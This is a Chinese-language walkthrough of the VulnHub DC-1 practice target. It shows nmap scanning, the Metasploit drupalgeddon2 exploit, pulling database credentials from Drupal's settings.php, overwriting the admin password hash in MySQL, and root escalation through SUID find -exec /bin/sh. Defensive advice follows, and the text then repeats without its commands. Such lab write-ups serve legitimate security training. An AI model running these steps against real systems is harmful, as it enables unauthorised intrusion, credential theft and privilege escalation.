渗透测试初体验:DC-1靶场
字数 1282 2025-08-12 11:34:07

DC-1靶场渗透测试教学文档

一、环境准备

1.1 攻击机配置

  • 使用Kali Linux作为攻击机
  • 确保Kali系统已更新并配置好输入法
  • 网络模式设置为NAT模式(与靶机保持一致)

1.2 靶机配置

  • 下载DC-1靶场镜像:https://www.vulnhub.com/entry/dc-1,292/
  • 安装时忽略风险提示,强制安装
  • 网络模式设置为NAT模式
  • 安装完成后无需登录,直接进入渗透测试环节

1.3 网络问题解决

  • 如果攻击机和靶机IP不显示:
    1. 进入虚拟网络编辑器
    2. 选择"还原默认设置"
    3. 重启攻击机和靶机

二、信息收集

2.1 扫描网段

nmap 192.168.40.0/24
  • 确定靶机IP(如192.168.40.128)

2.2 详细扫描

nmap -sS -sV -sC -O 192.168.40.128
  • 发现Drupal 7框架
  • 发现MySQL数据库服务

2.3 目录扫描

使用dirb工具扫描:

  • robots.txt可访问但无重要信息
  • 其他目录大多返回403(无权限)
  • 登录页面发现但无法暴力破解(有锁定机制)

三、漏洞利用

3.1 使用Metasploit

  1. 启动msfconsole
  2. 搜索Drupal漏洞:
search Drupal
  1. 选择最新且评级为excellent的漏洞(如drupal_drupalgeddon2)
  2. 配置并执行:
use 4
set rhosts 192.168.40.128
exploit
  1. 成功建立session获取shell

3.2 获取Flag1

  • 在初始shell中查找flag:
find / -name "*flag*" -type f 2>/dev/null
  • 通常在/var/www目录下找到flag1.txt
  • 提示查看CMS配置文件

3.3 获取Flag2

  • 查看Drupal配置文件:
cat /var/www/sites/default/settings.php
  • 发现数据库凭据:
    • 数据库名:drupaldb
    • 用户名:dbuser
    • 密码:R0ck3t

3.4 获取Flag3

  1. 获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
  1. 进入MySQL数据库:
mysql -udbuser -pR0ck3t
  1. 查询用户表:
use drupaldb;
select * from users;
  1. 修改管理员密码:
/var/www/scripts/password-hash.sh 123456
  1. 更新数据库:
update users set pass="生成的哈希值" where name="admin";
  1. 使用admin/123456登录后台获取flag3

3.5 获取Flag4

  • 查找flag4用户:
cat /etc/passwd | grep flag
  • 进入flag4用户目录:
cd /home/flag4
cat flag4.txt
  • 提示使用find命令

3.6 获取Flag5(提权)

  1. 查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null
  1. 发现/usr/bin/find具有SUID权限
  2. 利用find提权:
touch test.txt
find test.txt -exec "/bin/sh" \;
  1. 获取root权限后查看/root目录获取最终flag

四、关键知识点详解

4.1 交互式shell获取

python -c 'import pty;pty.spawn("/bin/bash")'
  • 作用:将简单的shell升级为功能完整的交互式shell
  • 原理:使用Python的pty模块模拟终端

4.2 SUID提权原理

  • SUID权限:程序运行时以文件所有者权限执行
  • 查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
  • 利用方式:通过可执行命令的参数执行shell

4.3 find命令提权

find test.txt -exec "/bin/sh" \;
  • 原理:find命令以root权限执行,其-exec参数可以执行任意命令
  • 分号需要转义防止被shell解释

五、总结流程

  1. 信息收集 → 2. 漏洞利用获取初始shell → 3. 查找flag获取线索 →
  2. 数据库操作修改密码 → 5. 登录后台 → 6. 查找SUID程序 →
  3. 提权获取root权限 → 8. 完成所有flag挑战

六、防御建议

  1. 及时更新CMS系统
  2. 限制数据库用户权限
  3. 监控异常登录行为
  4. 定期检查SUID权限设置
  5. 使用强密码策略
  6. 限制敏感文件访问权限
DC-1靶场渗透测试教学文档 一、环境准备 1.1 攻击机配置 使用Kali Linux作为攻击机 确保Kali系统已更新并配置好输入法 网络模式设置为NAT模式(与靶机保持一致) 1.2 靶机配置 下载DC-1靶场镜像:https://www.vulnhub.com/entry/dc-1,292/ 安装时忽略风险提示,强制安装 网络模式设置为NAT模式 安装完成后无需登录,直接进入渗透测试环节 1.3 网络问题解决 如果攻击机和靶机IP不显示: 进入虚拟网络编辑器 选择"还原默认设置" 重启攻击机和靶机 二、信息收集 2.1 扫描网段 确定靶机IP(如192.168.40.128) 2.2 详细扫描 发现Drupal 7框架 发现MySQL数据库服务 2.3 目录扫描 使用dirb工具扫描: robots.txt可访问但无重要信息 其他目录大多返回403(无权限) 登录页面发现但无法暴力破解(有锁定机制) 三、漏洞利用 3.1 使用Metasploit 启动msfconsole 搜索Drupal漏洞: 选择最新且评级为excellent的漏洞(如drupal_ drupalgeddon2) 配置并执行: 成功建立session获取shell 3.2 获取Flag1 在初始shell中查找flag: 通常在/var/www目录下找到flag1.txt 提示查看CMS配置文件 3.3 获取Flag2 查看Drupal配置文件: 发现数据库凭据: 数据库名:drupaldb 用户名:dbuser 密码:R0ck3t 3.4 获取Flag3 获取交互式shell: 进入MySQL数据库: 查询用户表: 修改管理员密码: 更新数据库: 使用admin/123456登录后台获取flag3 3.5 获取Flag4 查找flag4用户: 进入flag4用户目录: 提示使用find命令 3.6 获取Flag5(提权) 查找具有SUID权限的文件: 发现/usr/bin/find具有SUID权限 利用find提权: 获取root权限后查看/root目录获取最终flag 四、关键知识点详解 4.1 交互式shell获取 作用:将简单的shell升级为功能完整的交互式shell 原理:使用Python的pty模块模拟终端 4.2 SUID提权原理 SUID权限:程序运行时以文件所有者权限执行 查找SUID文件: 利用方式:通过可执行命令的参数执行shell 4.3 find命令提权 原理:find命令以root权限执行,其-exec参数可以执行任意命令 分号需要转义防止被shell解释 五、总结流程 信息收集 → 2. 漏洞利用获取初始shell → 3. 查找flag获取线索 → 数据库操作修改密码 → 5. 登录后台 → 6. 查找SUID程序 → 提权获取root权限 → 8. 完成所有flag挑战 六、防御建议 及时更新CMS系统 限制数据库用户权限 监控异常登录行为 定期检查SUID权限设置 使用强密码策略 限制敏感文件访问权限